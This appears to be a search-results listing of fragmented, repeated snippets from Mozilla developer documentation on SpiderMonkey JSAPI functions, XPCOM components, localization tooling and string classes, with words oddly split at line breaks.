iption fun jsfunction * pointer to a js function. fun should be a native function or jsapi-compiled function. see below. descr
iption js_getfunctionobject returns the javascr
ipt function object for a specified function pointer, fun. fun must be either a function implemented by a jsnative (or jsfastnative) or the result of a call to js_compilefunction or similar functions. in other cases, the object returned by js_getfunctionobject is not necessarily safe to call and should not be exposed to scr
ipt. in the javascr
ipt language, functions are objects. but in the jsapi there are two separate concepts: a jsobject is what is ex...
...e either a function implemented by a jsnative (or jsfastnative) or the result of a call to js_compilefunction or similar functions. in other cases, the object returned by js_getfunctionobject is not necessarily safe to call and should not be exposed to scr
ipt. in the javascr
ipt language, functions are objects. but in the jsapi there are two separate concepts: a jsobject is what is exposed to scr
ipts and has properties and can be stored in variables; and the corresponding jsfunction contains the code of a function. ...
...in these cases, this function should not be called. ...
...in these cases, this function should not be called. calling the jsobject returned by it could cause a crash or worse. js_getfunctionobject always returns a pointer to an object. ...
JS_GetGCParameter
cx jscontext * the context to configure. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. key jsgcparamkey specifies which garbage collection parameter to get or set. value uint32_t (js_setgcparameter only) the value to assign to the parameter. ...
... jsgc_max_malloc_bytes / "maxmallocbytes" number of js_malloc bytes before last ditch gc. jsgc_max_nursery_bytes / "maxnurserybytes" maximum size the nursery may grow to, or 0 to disable generational gc. jsgc_min_nursery_bytes / "minnurserybytes" minimum size the nursery may s...
... of times gc has been invoked. includes both major and minor gc. jsgc_mode / "mode" select gc mode: jsgc_mode_global (0) the gc runs all objects are visited in a singleslice. jsgc_mode_zone (1) the gc runs only the objects that belong to somezones are visited in a singleslice. jsgc_mode_incremental (2) the gc runs all objects are visited in mult
ipleslices. jsgc_mode_zone_incremental (3) the gc runs only the objects that belong to somezones are visited in mult
ipleslices. this does not affect generational gc, see jsgc_max_nursery_bytes jsgc_unused_chunks / "unusedchunks" number of cached empty gc chunks. jsgc_total_chunks / "totalchunks" total number of allocated gc chunks. jsgc_slice_...
...oups to look for pretenuring candidates. jsgc_pretenure_group_threshold / "pretenuregroupthreshold" if more than this number of objects in a given object group are tenured, then pretenruing will be enabled for new objects in this group. jsgc_min_last_ditch_gc_period / "minlastditchgcperiod" the minimum time to allow between triggering last ditch gcs in seconds. descr
iption js_getgcparameter returns the current parameter of the garbage collection. if successful, js_getgcparameter returns the current parameter. js_setgcparameter ajusts the parameter of the garbage collection. see also mxr id search for js_getgcparameter mxr id search for js_setgcparameter bug 474801 jsgc_bytes jsgc_number bug 474497 jsgc_max_code_cache_bytes this ...
JS_GetGlobalObject
obsolete since jsapi 24this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. retrieves a context's global object. (in javascr
ipt, global variables are stored as properties of the global object.) syntax jsobject * js_getglobalobject(jscontext *cx); name type descr
iption cx jscontext * the context from which to retrieve the global object. descr
iption this function is obsolete: use js_getglobalforobject or js_getglobalforscopechain instead. the concept of a global object belonging to a context will likely be phased out in future versions of spidermonkey. js_getglobalobject retrieves the global object for a specified jscontext *, cx. this retu...
... descr
iption this function is obsolete: use js_getglobalforobject or js_getglobalforscopechain instead. the concept of a global object belonging to a context will likely be phased out in future versions of spidermonkey. js_getglobalobject retrieves the global object for a specified jscontext *, cx. this returns null if cx has no global object. spidermonkey supports applications that have mult
iple global objects, such as the various window objects in a web browser. the object returned by js_getglobalobject is not necessarily the same thing as the global object seen by any javascr
ipt code that runs in cx! if a function is executing, the global object used by that function is determined when the function is created. furthermore, some jsapi functions, such as js_executescr
ipt, allow the cal...
...the context's global object field serves two purposes. ...
...the context's global object field serves two purposes. first, it is a convenient place for the application to stash the global object, where it is automatically protected from garbage collection and the application can easily access it. ...
JS_InitStandardClasses
initializes general js function and object classes, and the built-in object classes used in most scr
ipts. syntax bool js_initstandardclasses(jscontext *cx, js::handle<jsobject*> obj); name type descr
iption cx jscontext * pointer to the executable scr
ipt context for which to initialize js function and object classes. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handle<jsobject*> the global object to initialize. this object must be of a jsclass that has the jsclass_global_flags bits set. ...
...cr
iption cx jscontext * pointer to the executable scr
ipt context for which to initialize js function and object classes. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handle<jsobject*> the global object to initialize. this object must be of a jsclass that has the jsclass_global_flags bits set. descr
iption js_initstandardclasses initializes the built-in javascr
ipt global properties. ...
...ct classes. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handle<jsobject*> the global object to initialize. this object must be of a jsclass that has the jsclass_global_flags bits set. descr
iption js_initstandardclasses initializes the built-in javascr
ipt global properties. ...
...te, decodeuri, decodeuricomponent, encodeuri, encodeuricomponent, error, eval, evalerror, function, infinity, isnan, isfinite, math, nan, number, object, parseint, parsefloat, rangeerror, referenceerror, regexp, string, syntaxerror, typeerror, undefined, and urierror as well as a few spidermonkey-specific globals, depending on compile-time options: escape, unescape, uneval, internalerror, scr
ipt, xml, namespace, qname, file, generator, iterator, and stopiteration, as of spidermonkey 1.7. these global objects, functions, constructors, and constants are created as properties of obj. as a side effect, js_initstandardclasses establishes obj as the global object for cx, if one is not already established. this means that scr
ipts executed in cx will see the properties of obj as global variab...
JS_MakeStringImmutable
obsolete since javascr
ipt 1.8.5this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. make a jsstring thread-safe. syntax jsbool js_makestringimmutable(jscontext *cx, jsstring *str); name type descr
iption cx jscontext * a context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. s jsstring * the string to operate on. s must not be null. ...
...moved at any time. try to avoid using it. make a jsstring thread-safe. syntax jsbool js_makestringimmutable(jscontext *cx, jsstring *str); name type descr
iption cx jscontext * a context. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. s jsstring * the string to operate on. s must not be null. descr
iption a string's characters can never be changed, but spidermonkey uses two string optimization techniques behind the scenes: a growable string (see js_newgrowablestring ) has a buffer that the javascr
ipt engine can reallocate so that concatenating it with another string is much faster. a dependent string (see js_newdependentstring) is a substring of another (growable, dependent, or immutable) ...
...endent string (see js_newdependentstring) is a substring of another (growable, dependent, or immutable) string. in memory it is represented as a pointer to the other string and a pair of integers for the substring's starting point and length, rather than as a separate copy of all the characters. this makes the substring operation, and regular expression matches, faster. ...
...javascr
ipt engine may change the fields of the jsstring. these changes are not atomic. therefore such strings must not be used by more than one thread at a time. applications must call js_makestringimmutable before sharing a jsstring among threads by storing it in a c/c++ variable, field, or array element that another thread can read. (when an application shares a string by storing it in a javascr
ipt object that another thread can read, the javascr
ipt engine automatically makes the string thread-safe.) after a successful call to js_makestringimmutable, subsequent calls to js_getstringcharsz on the same string are guaranteed to succeed, and subsequent calls to js_getstringchars on the same string are guaranteed to return a null-terminated string. see also bug 1115986 ...
JS_NewUCString
note: js_newstring() was removed in spidermonkey 1.8.5. use js_newstringcopyn and js_newucstringcopyn instead. syntax jsstring * js_newucstring(jscontext *cx, char16_t *chars, size_t length); jsstring * js_newstring(jscontext *cx, char *buf, size_t length); // obsolete since jsapi 1.8.5 name type descr
iption cx jscontext * the context in which to create the new string. requires request. ...
...js_newucstring is the unicode version of the function. ...
...which to create the new string. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. buf char * or char16_t * pointer to a character array, allocated with js_malloc, containing the characters for the js string to create. the javascr
ipt engine adopts the buffer. length size_t number of characters in the text string. descr
iption js_newstring creates and returns a new string, using the memory starting at buf and ending at buf + length as the character storage. js_newucstring is the unicode version of the function. the character array, buf, must be allocated on the heap using js_malloc. on success, the javascr
ipt engine adopts responsibility for memory management of this region. the application must not read, write, or...
...on success, js_newstring and js_newucstring return a pointer to the new string. ...
JS_NewStringCopyN
create a new js string. syntax jsstring * js_newstringcopyn(jscontext *cx, const char *s, size_t n); jsstring * js_newucstringcopyn(jscontext *cx, const char16_t *s, size_t n); name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. s const char* or const char16_t * pointer to the array of characters containing the text for the js string to create. ...
...scontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. s const char* or const char16_t * pointer to the array of characters containing the text for the js string to create. n size_t number of characters to copy from s into the new string. ...
...rive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. s const char* or const char16_t * pointer to the array of characters containing the text for the js string to create. n size_t number of characters to copy from s into the new string. descr
iption js_newstringcopyn allocates space for a javascr
ipt string and its underlying storage, and copies n characters from a c character array, s, into the new jsstring. js_newucstringcopyn is the unicode version of the function. the two functions differ only in the type of the character array s; both functions create ordinary javascr
ipt strings, and all javascr
ipt strings are made up of 16-bit characters. if the array s contains more than n characters,...
...on success, js_newstringcopyn and js_newucstringcopyn return a pointer to the new js string. otherwise they return null. ...
JS_ReportError
create a formatted error or warning message to pass to a user-defined error reporting function. this function can also raise a javascr
ipt exception which a currently executing scr
ipt can catch. syntax void js_reporterror(jscontext *cx, const char *format, ...); bool js_reportwarning(jscontext *cx, const char *format, ...); name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. format const char * format string to convert into an error message using js_vsmprintf. ...
... descr
iption cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. format const char * format string to convert into an error message using js_vsmprintf. ... ... error message variables to insert into the format string. descr
iption js_reporterror is the simplest jsapi function for reporting errors. first it builds an error message from the given sprintf-style format string and any additional arguments passed after it. the resulting error message is passed to the context's jserrorreporter callback, if any. ...
...an example is shown in the jsapi phrasebook. for internationalization, use js_reporterrornumber instead. to report an out-of-memory error, use js_reportoutofmemory. ...
...intf-style format string and any additional arguments passed after it. the resulting error message is passed to the context's jserrorreporter callback, if any. if the caller is in a jsapi callback, js_reporterror also creates a new javascr
ipt error object and sets it to be the pending exception on cx. the callback must then return js_false to cause the exception to be propagated to the calling scr
ipt. an example is shown in the jsapi phrasebook. for internationalization, use js_reporterrornumber instead. to report an out-of-memory error, use js_reportoutofmemory. see also mxr id search for js_reporterror mxr id search for js_reportwarning ...
JS_SetDefaultLocale
note that the internationalization api encourages clients to specify their own locales. ...
... note that the internationalization api encourages clients to specify their own locales. ...
... note that the internationalization api encourages clients to specify their own locales. the locale string remains owned by the caller. ...
... note that the internationalization api encourages clients to specify their own locales. the locale string remains owned by the caller. js_resetdefaultlocale resets the default locale to os defaults. ...
JS_SetNativeStackQuota
this article covers features introduced in spidermonkey 17 enable or disable checks to avoid overflowing the c stack. syntax void js_setnativestackquota(jsruntime *cx, size_t systemcodestacksize, size_t trustedscr
iptstacksize = 0, size_t untrustedscr
iptstacksize = 0); name type descr
iption rt jsruntime * the runtime. systemcodestacksize size_t the desired stack quota setting, in bytes. trustedscr
iptstacksize size_t the desired stack quota setting, in bytes for trusted scr
ipt. if omitted, it uses the value of systemcodestacksize. added in spidermonkey 31 untrustedscr
iptstacksize size_t the desired stack quota setting, in bytes for untrusted scr
ipt. if...
...ize size_t the desired stack quota setting, in bytes. trustedscr
iptstacksize size_t the desired stack quota setting, in bytes for trusted scr
ipt. if omitted, it uses the value of systemcodestacksize. added in spidermonkey 31 untrustedscr
iptstacksize size_t the desired stack quota setting, in bytes for untrusted scr
ipt. if omitted, it uses the value of trustedscr
iptstacksize. added in spidermonkey 31 descr
iption js_setnativestackquota sets the size of the native stack that should not be exceeded. to disable stack size checking, pass 0. ...
...ired stack quota setting, in bytes for untrusted scr
ipt. if omitted, it uses the value of trustedscr
iptstacksize. added in spidermonkey 31 descr
iption js_setnativestackquota sets the size of the native stack that should not be exceeded. to disable stack size checking, pass 0. spidermonkey allows for a distinction between system code (such as gcs, which may incidentally be triggered by scr
ipt but are not strictly performed on behalf of such scr
ipt), trusted scr
ipt (as determined by js_settrustedprinc
ipals), and untrusted scr
ipt. each kind of code may have a different stack quota, allowing embedders to keep higher-priority machinery running in the face of scr
ipted stack exhaustion by something else. the stack quotas for each kind of code should be monotonically descending, and may be...
... of code should be monotonically descending, and may be specified with this function. if 0 is passed for a given kind of code, it defaults to the value of the next-highest-priority kind. this function may only be called immediately after the runtime is initialized and before any code is executed and/or interrupts requested. see also mxr id search for js_setnativestackquota js_settrustedprinc
ipals bug 516832 bug 732665 bug 723021 ...
JS_SetParent
obsolete since jsapi 39this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. sets the parent for an object. syntax bool js_setparent(jscontext *cx, js::handleobject obj, js::handleobject parent); name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject pointer to the object for which to set the parent. this must be an object that has not yet been exposed to scr
ipt. see the descr
iption for details. parent js::handleobject pointer to the parent object to use. ...
...h to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject pointer to the object for which to set the parent. this must be an object that has not yet been exposed to scr
ipt. see the descr
iption for details. parent js::handleobject pointer to the parent object to use. descr
iption js_setparent sets an object's parent. each object may have at most one parent, which is another object. applications that use spidermonkey's security features typically use the parent relation to determine both (a) what security princ
ipals are attached to the currently executing scr
ipt; and (b) what security princ
ipals are attached to the object being accessed. (for some function objects, t...
...ects, the parent chain is also used to implement lexical scoping, but this should be considered an implementation detail.) ordinarily an application sets a new object's parent by passing the parent object to js_newobject, and that is the preferred approach. but an application may instead use js_setparent after the object is created. applications can get an object's parent using js_getparent. scr
ipts can determine an object's parent by using the __parent__ property, but scr
ipts cannot assign to the __parent__ property. in fact, once an object is exposed to a scr
ipt, the object's parent must not change. the javascr
ipt engine relies on this invariant. js_setparent has no way to check that this is the case, but nonetheless, applications must not call js_setparent on an object that has already ...
...if an application does this, the behavior is undefined. on success, js_setparent returns js_true. otherwise, it reports an error or sets an exception and returns js_false. ...
JS_SetPrivate
for example, a socket class might use the private data field to store the socket handle. ...
...for example, a socket class might use the private data field to store the socket handle. ...
...for which to set private data. data void * private data for the object. this pointer must be aligned to a 2-byte boundary. descr
iption if a jsclass has the jsclass_has_private flag, each object of that class has a private field of type void * which the application may use for any purpose. it is especially useful for storing c/c++ data that should not be directly visible to scr
ipts. for example, a socket class might use the private data field to store the socket handle. js_setprivate sets an object's private data field. obj must be an instance of a class that has the jsclass_has_private flag. only the pointer is stored. memory management of this field is the application's responsibility. the javascr
ipt engine never uses it. in particular: if you allocate memory for priv...
... use js_getinstanceprivate to safely extract the private data from an object. ...
JS_SetPrototype
a prototype object provides properties that are shared by similar js object instances. ...
...a prototype object provides properties that are shared by similar js object instances. ...
...a prototype object provides properties that are shared by similar js object instances. ...
...ou can later call js_setprototype to do so. obj is a pointer to an existing js object, and proto is a pointer to second existing object upon which the first object is to be based. on success, js_setprototype returns true. otherwise it returns false. take care not to create a circularly-linked list of prototypes using this function, because such a set of prototypes cannot be resolved by the javascr
ipt engine and can easily lead to an infinite loop. to get an object's prototype, use js_getprototype. see also lxr id search js_getprototype ...
JS_ValueToSource
on success, js_valuetosource returns a pointer to a string. on error or exception, it returns null. this happens, for example, if v is an object and v.tosource() throws an exception. ...
... on success, js_valuetosource returns a pointer to a string. on error or exception, it returns null. this happens, for example, if v is an object and v.tosource() throws an exception. ...
... on success, js_valuetosource returns a pointer to a string. on error or exception, it returns null. ...
... on success, js_valuetosource returns a pointer to a string. on error or exception, it returns null. ...
compare-locales
the details of the configuration file are described in the l10n-config docs. ...
...the details of the configuration file are described in the l10n-config docs. ...
...to get a single result across the projects, specify the --unified flag: $ compare-locales --unified browser/locales/l10n.toml mobile/android/locales/l10n.toml ./l10n/ de cross-channel and compare-locales if you're working against the gecko-strings cross-channel repository, the toml configuration files are ...
...the _configs subdirectory, browser.toml, mobile_android.toml, mail.toml and calendar.toml, and suite.toml. options to get a brief list of available options, use the --help flag: $ compare-locales --help the output the output of compare-locales shows the missing and obsolete strings in a pseudo-diff format. ...
XForms Accessibility
est at w3.org keyboard navigation issues navigation sequence though xforms spec declares navindex attribute to define the navigation sequence (see 1.0 specs or 1.1 specs) but rich schwerdtfeger (distinguished engineer, swg accessibility architect/strategist chair, ibm accessibility architecture review board) gave some clarification about navindex. he wrote: navindex was in xforms - it was str
ipped out as it was believed the focus model was dependent on the content which used it. so, yes we don't care about navindex in xforms. if you use xhtml1.x use tabindex. if you use xhtml2 use nextfocus. therefore since mozilla xforms works in xhtml (1.x) or xul documents only then we use tabindex instead. note, we support -moz-user-focus style neither for xhtml or xul. at api accessible properti...
...a xforms works in xhtml (1.x) or xul documents only then we use tabindex instead. note, we support -moz-user-focus style neither for xhtml or xul. at api accessible properties this section describes common rules how accessibility properties are formed for forms control elements. name it is formed from value of child xforms label element if the element doesn't have labelledby attribute. descr
iption it is formed from value of child xforms hint element if the element doesn't have describedby attribute. state it is formed as well from model item properties (m
ips) of instance node that xforms element is bound to as from valid/invalid or in-range/out-of-range states of instance node. instance node states are mapped to accessibility state constants declared in nsiaccessiblestates interface...
...c range of values (see the spec, the docs). currently it is represented by a slider only. trigger allows the user to initiate actions (see the spec, the docs). this element is represented by button. submit invokes the submission of the selected instance data to its target destination (see the spec, the docs). this element is represented by button. select allows the user to choose one or mult
iple values from a list of pre-defined values (see the spec, the docs). it can have the following representations: listbox checkboxes group select1 allows the user to choose a single value from a list of pre-defined values (see the spec, the docs). it can have the following representations: combobox listbox radio group additional elements these elements may be used as child elements t...
...elements that hold them. label specifies the label for the xforms control (see the spec, the docs). every form control other than the output element must contain a label element. the value of label element is used as name of accessible object. help specifies contextual help for the containing form control (see the spec, the docs). the help element has role_alert role. hint similar to a toolt
ip (see the spec, the docs). the value of hint element is used as descr
iption of accessible object. alert this message will be shown when the form control cannot properly bind to instance data or when the instance data value is invalid or out of the specified range of selectable values (see the spec, the docs). the alert element has role_alert role for both usual and inline alert elements. messag...
Preferences API
eferences, user overrides via user.js, and locking. you can also create a xul-based options window easily to allow user modify some preferences. ...
...overrides via user.js, and locking. you can also create a xul-based options window easily to allow user modify some preferences. ...
...ou can also create a xul-based options window easily to allow user modify some preferences. ...
...to allow user modify some preferences. ...
extIApplication
.idl. implemented via xpcom service for extiapplication: see the instructions on the fuel (firefox), steel (thunderbird) and smile (seamonkey) pages. method overview boolean quit() boolean restart() void getextensions(extiextensionscallback acallback) attributes the following interfaces are available to all applications: attribute type descr
iption id readonly attribute astring the id of the application. name readonly attribute astring the name of the application. version readonly attribute astring the version number of the application. console readonly attribute exticonsole the console object for the application. extensions readonly attribute extiextensions the ...
...f the application. console readonly attribute exticonsole the console object for the application. extensions readonly attribute extiextensions the extensions object for the application. contains a list of all installed extensions. not available anymore on gecko 2.0 (see [1]), use getextensions() instead obsolete since gecko 2.0 prefs readonly attribute ext
ipreferencebranch the preferences object for the application. defaults to an empty root branch. storage readonly attribute extisessionstorage the storage object for the application. events readonly attribute extievents the events object for the application. supports: "load", "ready", "quit", "unload" the following interfaces are only available to fire...
... for the application. defaults to an empty root branch. storage readonly attribute extisessionstorage the storage object for the application. events readonly attribute extievents the events object for the application. supports: "load", "ready", "quit", "unload" the following interfaces are only available to firefox: attribute type descr
iption bookmarks readonly attribute fuelibookmarkroots the root bookmarks object for the application. windows readonly attribute nsivariant an array of browser windows within the application. activewindow readonly attribute fueliwindow the currently active browser window. methods quit() attempts to shutdown the application. it is possible for th...
...tempts to restart the application. it is possible for the restart to be canceled. boolean restart() return value boolean value indicating whether the restart was successful. getextensions(acallback) calls acallback with the list of installed extensions. void getextensions(extiextensionscallback acallback) return value none. xpcom although the application object is preloaded into xul scr
ipts, it is not preloaded into javascr
ipt xpcom code. the object needs to be accessed like any other xpcom service: var application = components.classes["@mozilla.org/fuel/application;1"].getservice(components.interfaces.fueliapplication); see also fuel (firefox), steel (thunderbird) and smile (seamonkey) ...
Creating XPCOM components
make up xpcom. accordingly, the book is arranged so that you can follow along and create your own components or learn about different xpcom topics individually, as in a reference work. for example, the introduction includes a discussion of components and what they are, and the first chapter - in which you compile the basic code and register it with mozilla - prompts a discussion of the relationsh
ip between components and modules, of xpcom interfaces, and of the registration process in general. note: in general, you should try to avoid having to create xpcom components. add-ons should try to use the new add-on sdk as much as possible; however, there may be cases when it's unavoidable. note:this article describes a method that uses xpidl but you should use webidl instead. preface wh...
... xpcom services xpcom types method types reference counting status codes variable mappings common xpcom error codes using xpcom components component examples cookie manager the webbrowserfind component the weblock component component use in mozilla finding mozilla components using xpcom components in your cpp xpconnect: using xpcom components from scr
ipt component internals creating components in cpp xpcom initialization xpcom registry manifests registration methods in xpcom autoregistration the shutdown process three parts of a xpcom component library xpcom glue the glue library xpcom string classes creating the component code what we'll be working on component registration the regxpcom program r...
...laration macros weblock2.cpp string classes in xpcom using strings nsembedstring and nsembedcstring smart pointers starting weblock getting called at startup registering for notifications getting access to the category manager providing access to weblock creating the weblock programming interface defining the weblock interface in xpidl the xpidl syntax scr
iptable interfaces subclassing nsisupports the web locking interface implementing weblock declaration macros representing return values in xpcom xpidl code generation getting the weblock service from a client implementing the iweblock interface the directory service modifying paths with nsifile man
ipulating files with nsifile using nsilocalfile for reading data process...
...objects building the weblock ui user interface package list client code overview xul the xul document the locking ui site adding ui weblock.xul overlaying new user interface into mozilla weblockoverlay.xul other resources weblock.css image resources packaging weblock component installation overview archiving resources the weblock installation scr
ipt the weblock trigger scr
ipt distributing your component appendix a - setting up the gecko sdk downloading and setting the sdk building a microsoft visual cpp project creating a new project adding the gecko sdk to the project settings building a windows project a makefile for unix appendix b - resources weblock resources gecko resources xpcom resources general developme...
nsDirectoryService
erence summary the xpcom directory service. this service returns the locations of "well known" directories in an os-independent manner. for instance, it can give you the path of the system's temporary directory, desktop directory, current working directory, and so on. class id f00152d0-b40b-11d3-8c9c-000064657374 contractid @mozilla.org/file/directory_service;1 supported interfaces ns
iproperties nsidirectoryservice remarks this component is a singleton and should therefore be accessed via the xpcom service manager. example code #include "nsxpcom.h" #include "nscomptr.h" #include "nsdirectoryservicedefs.h" #include "nsiservicemanager.h" #include "ns
iproperties.h" /** * get the location of the system's "temp" directory. */ nsresult gettempdir(nsifile **aresult) { ...
... #include "nsxpcom.h" #include "nscomptr.h" #include "nsdirectoryservicedefs.h" #include "nsiservicemanager.h" #include "ns
iproperties.h" /** * get the location of the system's "temp" directory. ...
... location of the system's "temp" directory. ...
... ns_get_iid(ns
iproperties), getter_addrefs(directory)); if (ns_failed(rv)) return rv; rv = directory->get(ns_os_temp_dir, ns_get_iid(nsifile), aresult); return rv; } note that ns_os_temp_dir is defined in nsdirectoryservicedefs.h along with a number of other directory service keys. ...
NS ConvertASCIItoUTF16 external
opt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const prunichar*, const prunichar*, pruint32) - source ...
NS ConvertUTF16toUTF8 external
opt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_external data memb...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const char*, const char*, pruint32) - source paramet...
NS ConvertUTF8toUTF16 external
opt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const prunichar*, const prunichar*, pruint32) - source ...
NS LossyConvertUTF16toASCII external
opt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_external data memb...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const char*, const char*, pruint32) - source paramet...
PromiseFlatCString (External)
opt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstringcontainer data memb...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const char*, const char*, pruint32) - source paramet...
PromiseFlatString (External)
opt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const prunichar*, const prunichar*, pruint32) - source ...
nsAutoString (External)
opt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const prunichar*, const prunichar*, pruint32) - source ...
nsCAutoString (External)
opt beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral replace append appendliteral operator+= insert cut truncate str
ipchars str
ipwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstringcontainer data memb...
... trim void trim(const char*, prbool, prbool) - source parameters cha...
... trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleadin...
... cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source str
ipchars void str
ipchars(const char*) - source remove all occurrences of characters in aset from the string. parameters char* aset str
ipwhitespace void str
ipwhitespace() - source str
ip whitespace characters from the string. trim void trim(const char*, prbool, prbool) - source parameters char* aset prbool aleading prbool atrailing defaultcomparator print32 defaultcomparator(const char*, const char*, pruint32) - source paramet...
nsCStringContainer (External)
